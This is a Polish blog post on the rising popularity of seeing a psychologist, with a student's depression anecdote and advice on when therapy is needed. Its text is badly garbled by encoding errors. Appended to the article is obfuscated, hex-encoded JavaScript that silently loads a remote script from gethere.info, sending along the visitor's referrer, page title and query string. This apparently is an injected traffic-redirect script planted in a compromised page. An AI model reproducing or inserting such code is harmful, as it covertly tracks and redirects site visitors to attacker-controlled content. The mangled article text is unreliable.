Moda na psychologa

opublikowane w Najnowsze Wpisy, Psychologia | 0

Bez wA�tpienia kiedyA� ludzie wstydzili siA� mA?wiA� o tym, A?e chodzA� do psychologa. Taka wizyta byA�a bA�A�dnie kojarzona z leczeniem zaburzeA� psychicznych, ktA?rych powinniA�my siA� wstydziA�.A�Jednak postrzeganie wizyt u psychologa powoli siA� zmienia. Na tego rodzaju pomoc decyduje siA� coraz wiA�cej PolakA?w. Ludzie nie wstydzA� siA� juA? o tym mA?wiA�, a nawet staje siA� to modne. Wizyta u psychologa jest juA? sA�usznie kojarzona z posiadaniem jakiegoA� problemu, z ktA?rym nie potrafimy sobie poradziA�, a nie tak jak kiedyA� a�� z zaburzeniem psychicznym.A�Coraz popularniejsze staje siA� takA?e korzystanie z usA�ug coacha, ktA?ry ma pomA?c nam zrealizowaA� swoje cele, wydobywajA�c z nas mocne strony.

a�zZaczA�A�am zdawaA� sobie sprawA�, A?e moje A?ycie to rA?wnia pochyA�a, a pomoc i starania przyjaciA?A� niestety do mnie nie przemawiaA�y. Dlatego porada przyjaciA?A�ki, A?eby udaA� siA� do specjalisty wydaA�a mi siA� w koA�cu jedynym rozwiA�zaniem” – mA?wi Agnieszka, 24-letnia studentka, ktA?ra przez ponad rok staraA�a siA� pokonaA� A�depresjA�. Dopiero pomoc psychologa pomogA�a pozbyA� siA� problemu.

Dlaczego coraz czA�A�ciej, gdy nie radzimy sobie z problemami, chodzimy po poradA� do psychologa, a nie do bliskich nam osA?b? OtA?A? jest kilka powodA?w. Po pierwsze, czA�sto o naszych problemach bliscy w ogA?le nie widzA�. Albo nie chcemy ich martwiA�, albo zwyczajnie siA� wstydzimy. Natomiast fakt, A?e sA�ucha nas ktoA� obcy, dziaA�a na korzyA�A�. Nie tylko jest osobA� obiektywnA�, ale moA?e zwrA?ciA� nam uwagA� na rzeczy, ktA?rych do tej pory nie dostrzegaliA�my. Po drugie, wyksztaA�cony psycholog z doA�wiadczeniem zawodowym daje nam gwarancjA� fachowej pomocy, a A�wiadomoA�A�, A?e jesteA�my pod czyjA�A� opiekA�, dzielimy swoje problemy z profesjonalistA�, sprawia, A?e czujemy siA� lepiej, gdyA? zrzucamy z siebie czA�A�A� odpowiedzialnoA�ci. Do psychologa moA?na przyjA�A� praktycznie ze wszystkim. NajczA�stszA� przyczynA� wizyt sA� problemy w zwiA�zku, przygnA�bienie, rozstania czy konflikty z bliskimi. Wiele osA?b myA�li pewnie, A?e do psychologa chodzi siA� po poradA�. To bA�A�dne rozumienie, gdyA? A�psycholog rad udzielaA� nie moA?e. Terapeuta poprzez umiejA�tnie zadawane pytania ma pomA?c nam w uA�wiadomieniu sobie przyczyny swoich zachowaA�, lepszemu rozumienia wA�asnych emocji i uczuA�, a co za tym idzie – pomA?c nam w podjA�ciu przez nas samych najlepszej decyzji. Pomoc psychologiczna to wspA?lne dochodzenie do przyczyn sytuacji, w ktA?rej siA� znaleA?liA�my. Bo tak naprawdA� czA�sto dojA�cie do sedna sprawy powoduje, A?e zaczynamy dziaA�aA� inaczej, starajA�c siA� nie popeA�niaA� tych samych bA�A�dA?w. SkutecznoA�A� wizyt u psychologa zaleA?y w duA?ej mierze od tego, na ile sami jesteA�my gotowi na wspA?A�pracA�, na niewygodne prawdy, a przede wszystkim na chA�A� pracowania nad sobA�.

Polacy coraz czA�A�ciej korzystajA� z usA�ug psychologicznych, a zwiA�zane jest to z ogA?lnym trendem do podnoszenia jakoA�ci A?ycia, a takA?e rozwoju osobistego. NiektA?rzy uwaA?ajA�, A?e moda na psychologa przyszA�a do nas z zachodu, gdzie regularne wizyty u psychologa sA� rA?wnie niezbA�dne i normalne jak chodzenie do fryzjera, dentysty czy kosmetyczki. Terapeuta zamienia siA� w wyroczniA�, a niektA?rzy warunkujA� swoje dziaA�ania od jego zdania. Od psychologa moA?na siA� nawet uzaleA?niA�, a to duA?e niebezpieczeA�stwo, gdyA? ludziom wydaje siA�, A?e sami juA? nie sA� w stanie rozwiA�zaA� swoich problemA?w. Dochodzi do tego, A?e konsultujA� z psychologiem kaA?dy ruch.

OsobiA�cie uwaA?am, A?e terapia moA?e byA� bardzo pomocna, w niektA?rych przypadkach wrA�cz niezbA�dna. Kiedy mamy baA�agan w sobie i musimy siA� na nowo poskA�adaA�, kiedym zbyt dA�ugo nie radzimy sobie z rozstaniem, kiedy mamy problem z emocjami, alkoholem, agresjA�, niechA�ciA� do A?ycia i wiele, wiele innych, jednaka�� nie ze wszystkim biegaA�bym od razu po pomoc do psychologa. SA� problemy czy gorsze okresy w naszym A?yciu, kiedy by zapomnieA� o zamartwieniach, wystarczy spA�dziA� czas w dobrym towarzystwie, umA?wiA� siA� na kawA� z przyjaciA?A�kA�. MoA?e pomA?c takA?eA�wyjazd na wakacjeA�czy porzA�dny wycisk na siA�owni. Na pewno kaA?dy z Was ma jakieA� sposoby na poprawienie humoru. Polecam ich szukaA� i z nich korzystaA�, zanim wybierzecie siA� do psychologa.


 var _0xb322=[„\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}